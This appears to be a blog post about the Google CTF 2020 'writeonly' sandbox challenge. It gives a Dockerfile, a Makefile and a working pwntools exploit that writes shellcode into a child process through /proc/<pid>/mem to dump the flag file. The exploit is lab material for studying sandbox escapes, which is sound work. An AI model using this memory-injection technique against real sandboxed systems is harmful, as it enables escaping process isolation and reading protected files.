Stumbled across a writeup on the Google CTF 2020 event. Found it interesting that although the team used pwntools, they made it over-complicated by writing the shellcode in C and then extracted the assembly code for the exploit injection. Isn't it the whole point of using pwntools is to help you generate the shellcode assembly?
Anyway, I looked up the challenge and found source code for the challenge itself and an implementation of a clean (official?) exploit. Here are the results of me playing with that code. Changes include:
- modified the Dockerfile so I can run the challenge locally. Used socat to expose the executable via port 1337 of the container
- as for the actual exploit, instead of doing a complete shellcode injection, I modified to code to just dump the flag file.
- this modification also avoided overwriting the child code with bunch of NOPs. It injects code precisely at the start of the infinite loop of the child thread (check_flag+0x8). This can be found by looking at the end of the disassembled code of the check_flag function:
...
4022d9: bf 01 00 00 00 mov $0x1,%edi
4022de: e8 fd cf 04 00 callq 44f2e0 <__sleep>
4022e3: e9 52 ff ff ff jmpq 40223a <check_flag+0x8>
- commands used to build the docker image, disassembling child's function, and running the exploit etc can be found in the Makefile
Detailed description of the challenge and complete source code available on github.
FROM ubuntu:20.04 | |
RUN apt-get update && apt-get upgrade -y && apt-get install -y socat | |
RUN set -e -x; \ | |
groupadd -g 1337 user; \ | |
useradd -g 1337 -u 1337 -m user | |
COPY attachments/chal /home/user/ | |
COPY flag /home/user/ | |
RUN set -e -x; \ | |
chown -R root:root /home/user; \ | |
chmod 555 /home/user; \ | |
chmod 555 /home/user/chal; \ | |
chmod 444 /home/user/flag | |
USER user | |
CMD cd /home/user && socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./chal |
from pwn import remote | |
import pwnlib | |
import os | |
# automatically set the binary type | |
pwnlib.context.context.binary = 'src/chal' | |
# connect to the site and get child pid | |
r = remote('127.0.0.1', 1337) | |
r.recvuntil('[DEBUG] child pid: ') | |
child_pid = int(r.recvline()) | |
# this is the code to be injected into child. since the child can read files, cat the flag | |
injection = pwnlib.asm.asm(pwnlib.shellcraft.cat('/home/user/flag', 1) + pwnlib.shellcraft.crash()) | |
# assemble the code to be executed by parent. | |
# open child's memory for writing | |
payload = pwnlib.shellcraft.open("/proc/{}/mem".format(child_pid), os.O_WRONLY) | |
# get the file descriptor and seek. | |
# looking at the disassembled check_flag function, the infinite loop starts at <check_flag+0x8> | |
payload += pwnlib.shellcraft.mov('r12', 'rax') | |
payload += pwnlib.shellcraft.syscall('SYS_lseek', 'r12', pwnlib.context.context.binary.symbols['check_flag'] + 0x8, os.SEEK_SET) | |
# parent write to child's memory and inject our code | |
payload += pwnlib.shellcraft.pushstr(injection) | |
payload += pwnlib.shellcraft.write("r12", "rsp", len(injection)) | |
payload = pwnlib.asm.asm(payload + pwnlib.shellcraft.infloop()) | |
r.sendlineafter('shellcode length? ', str(len(payload))) | |
r.sendafter('bytes of shellcode. ', payload) | |
# print the output from child | |
while True: | |
print(r.recvline()) |
doit: | |
python doit.py | |
build: | |
docker build -t sandbox-writeonly . | |
start: | |
docker run --rm --name sandbox-writeonly -p 127.0.0.1:1337:1337 sandbox-writeonly | |
stop: | |
docker stop sandbox-writeonly | |
disass: | |
objdump --disassemble=check_flag src/chal |
No comments:
Post a Comment